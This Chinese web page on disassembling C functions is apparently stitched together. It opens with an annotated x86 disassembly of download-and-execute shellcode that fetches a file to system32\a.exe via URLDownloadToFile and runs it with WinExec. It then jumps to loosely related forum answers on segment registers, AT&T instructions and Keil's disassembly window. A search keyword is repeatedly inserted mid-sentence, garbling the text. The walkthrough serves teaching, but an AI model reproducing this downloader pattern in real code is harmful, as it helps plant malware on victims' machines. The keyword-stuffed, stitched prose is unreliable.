反汇编c语言函数 c++ 反汇编( 四 )


4AD750B15Epopesi
4AD750B283EC 20subesp, 20; 开辟 32 byte栈空间
4AD750B58BDCmovebx, esp; ebx为栈区的指针
4AD750B76A 20push20
4AD750B953pushebx
4AD750BAFF57 ECcalldword ptr [edi-14]; 调用GetSystemDirectoryA得到系统目录
4AD750BDC70403 5C612E65movdword ptr [ebx+eax], 652E615C; ebx+0x13 系统路径占 0x13个字节
4AD750C4C74403 04 78650000movdword ptr [ebx+eax+4], 6578; 拼接下载后的文件路径%systemroot%\system32\a.exe
4AD750CC33C0xoreax, eax
4AD750CE50pusheax
4AD750CF50pusheax
4AD750D053pushebx
4AD750D156pushesi
4AD750D250pusheax
4AD750D3FF57 FCcalldword ptr [edi-4]; URLDownLoadToFile下载文件为a.exe
4AD750D68BDCmovebx, esp
4AD750D850pusheax
4AD750D953pushebx
4AD750DAFF57 F0calldword ptr [edi-10]; WinExec执行代码
4AD750DD50pusheax
4AD750DEFF57 F4calldword ptr [edi-C]; ExitThread退出线程
接下来的操作便是通过已获得地址的GetProcAddress()来分别得到GetSystemDirectory()、URLDownLoadToFile()、WinExec()及ExitProcess()函数的地址,并依次执行 。到这里实际上有经验的程序员,马上就能写出C语言代码来 。后面的数据区不在分析了,主要是介绍如何操作 。
使用C语言 , 虽然知道了Hex文件的大致流程,但是一般来说,对于汇编指令,更倾向于直接使用asm关键字来使用内联汇编 。如下图所示:
通过这个实例 ,相信应该能理解一个大致的流程啦 。
C语言main函数反汇编后开头几名话有些不太明白的地方??请指教windows下不管是什么s , es cs ds ss都好,基址都是0 。
所以什么s都一样的…………
32位下分段方式和16位不同,不是像16位那样直接段寄存器拿来乘一下加上偏移就行了 。32位下虽然段寄存器还是16位,但是它代表了段表(你可以认为是数组)的元素索引(数组下标),真正的段基址保存在段表元素中 。windows下反正段基址都是0……
我说的都是指用户态 。内核态没进去过不知道 。
一段C语言 反汇编代码 , 要求详解每句含义and $0xfffffff0,%esp将esp和16进制反汇编c语言函数的fffffff0进行与运算,
cmp $0xfffff000,%eax将fffff000减去eax,但只改变标志位,而不影响两个数反汇编c语言函数的大小,一般CMP指令后面会跟一个跳转指令,也可以说CMP指令是比较指令
neg %ebx 求EBX相反数反汇编c语言函数的补码
nop指令的机器码是90,也就是空指令,不起作用的,sub $0x8,%esp这条指令是用于平衡堆栈的,如楼上所说,反汇编c语言函数你可以当它是空气..有些汇编代码不用刻意去看懂,扫一眼知道是干什么用的就行反汇编c语言函数了,有的就得仔细推敲它的含意和它起的作用
C语言写的程序 怎么反汇编成汇编语言在keilc中,单片机的C语言程序可以再DEBUG模式中得到对应的汇编程序 。步骤如下:
1、建立工程,导入C文件代码,编译生成hex文件 。
2、按CTRL+F5或者点击菜单Debug--Start/Stop Debug Session
3、点击View--Disassembly Window调出汇编窗口,如上图 。
通过以上步骤就可以看到与C对应的汇编程序了 。
【反汇编c语言函数 c++ 反汇编】关于反汇编c语言函数和c++ 反汇编的介绍到此就结束了 , 不知道你从中找到你需要的信息了吗 ?如果你还想了解更多这方面的信息,记得收藏关注本站 。

推荐阅读